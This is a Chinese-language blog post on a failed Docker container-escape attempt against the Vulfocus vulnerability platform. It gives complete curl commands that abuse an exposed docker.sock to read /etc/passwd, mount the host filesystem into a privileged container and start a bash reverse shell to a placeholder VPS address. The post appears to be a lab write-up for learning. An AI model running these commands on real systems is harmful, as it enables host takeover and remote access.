这是一次失败docker逃逸尝试的记录,觉得还算有意思,就记录下。

Vulfocus 介绍

Vulfocus 是一个漏洞集成平台,将漏洞环境 docker 镜像,放入即可使用,开箱即用

Vulfocus是白帽汇公司开发的一款基于docker的漏洞平台,类似的有Vulhub等。

如果仅需要尝试使用、不想自己创建环境的话,可以使用官方的站点 http://vulfocus.fofa.so/。

Vulfocus安装十分简单,只需要安装好docker,参照官方文档即可完成安装。

与官方文档说明不同的是,我个人在Windows 10 上的操作经验是:

  1. VUL_IP=xxx.xxx.xxx.xxx设置为127.0.0.1,而官方不建议这么做,可能操作系统不同。
  2. 将端口设置为非80端口

Docker 逃逸

最开始查看关于docker逃逸的文章,主要是下面两篇:

  1. https://www.redtimmy.com/a-tale-of-escaping-a-hardened-docker-container/
  2. https://dejandayoff.com/the-danger-of-exposing-docker.sock/

大致的原理是:如果docker虚拟环境开放了/var/run/docker.sock,那么可以通过/var/run/docker.sock对docker进行操纵,最终实现docker逃逸的效果。

执行的命令放在下面gist上了。 https://gist.github.com/mark0smith/38216cb2657119d0ca3a263701056930

逃逸的尝试

我在本机搭建了Vulfocus环境,启动环境,然后进入Vulfocus容器(Container)的CLI界面

执行命令,并获取命令执行结果

这部分几乎没有意义,如果有shell了,可以直接在shell里面执行命令。🤣

检查发现/var/run/docker.sock文件存在:

查看目前运行中的容器ID

创建exec对象

执行exec对象,并将回显写入文件;这里按道理可以直接返回命令执行结果,可能/bin/sh里支持的不是很好,会出错、不显示,bash上好像也有问题😣。

执行过程完整的代码如下:

ls -alh /var/run/docker.sock
curl -i -s --unix-socket /var/run/docker.sock -X GET http://localhost/containers/json
curl -i -s --unix-socket /var/run/docker.sock -x POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": false,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat","/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": false}' http://localhost/containers/cb71e5160c544f5eeb1028d96510c63b95333e1145654d7ab92002d21322a114/exec
curl -vvv -s --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' --data-binary '{"Detach": false,"Tty": false}' http://localhost/exec/a3aecdfa07306341d1d5a894b352678158bd23f5b6e362e63cb90b9f67ad73bd/start -o 1.txt
cat 1.txt

逃逸容器,获取宿主机信息

逃逸容器的思路是获取一个Linux操作系统的镜像文件,然后创建容器、将宿主机的文件系统挂载至容器内,访问容器挂载目录即可以访问宿主机文件。

首先,获取最新版本的Ubuntu镜像。注意curl命令的URL参数需要使用引号或双引号包起来,不然会下载所有版本Ubuntu镜像。
也可以提前查看宿主机上的镜像,具体参考docker 的 API文档。

然后,创建容器并挂载系统文件至容器内。

然后,启动刚才创建的容器。

然后,并在容器里创建Exec对象。采用了反弹shell的方式,执行的命令为 bash -c "bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/8989 0>&1"

最后,在VPS上监听对应端口,然后在docker里执行刚才创建的Exec对象,即可以得到一个反弹shell了。
windows上的docker桌面版对应文件路径是/hostos/run/desktop/mnt/host/

逃逸过程完整的代码如下:

ls -alh /var/run/docker.sock
curl -i -s -k --unix-socket /var/run/docker.sock -X 'POST' -H 'Content-Type: application/json' "http://localhost/images/create?fromImage=ubuntu&tag=latest"
curl -i -s -k -X 'POST' -H 'Content-Type: application/json' --unix-socket /var/run/docker.sock --data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu:latest","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}, "Privileged": true}' http://localhost/containers/create
curl -i -s --unix-socket /var/run/docker.sock -x POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["bash","-c","bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/8989 0>&1"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' http://localhost/containers/234184b5d895415bd90be7d05fc103d6020de1f08e22d576cd42b0e99c9a8c66/exec
curl -s --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' --data-binary '{"Detach": true,"Tty": true}' http://localhost/exec/9a320b53814c2ffe19c94c8321ef37218fdb632dc5aa1ff30862a3604157c12b/start

总结复盘

当我问过vulfocus负责人,打算在 http://vulfocus.fofa.so/ 进行尝试时,发现我没有Vulfocus容器的shell。
也就是说我需要找到一个Vulfocus的shell才能进行逃逸,简单查看了一些漏洞镜像,又都关闭了/var/run/docker.sock,所以就没办法逃逸了。

经验教训是:

  • 本地测试时需要尽可能复原,不要主观臆想创造条件
  • curl的URL参数一定要用引号包起来
  • 出了问题多看出错记录、API文档

参考链接

  1. https://www.redtimmy.com/a-tale-of-escaping-a-hardened-docker-container/
  2. https://dejandayoff.com/the-danger-of-exposing-docker.sock/
  3. https://docs.docker.com/engine/api/v1.41/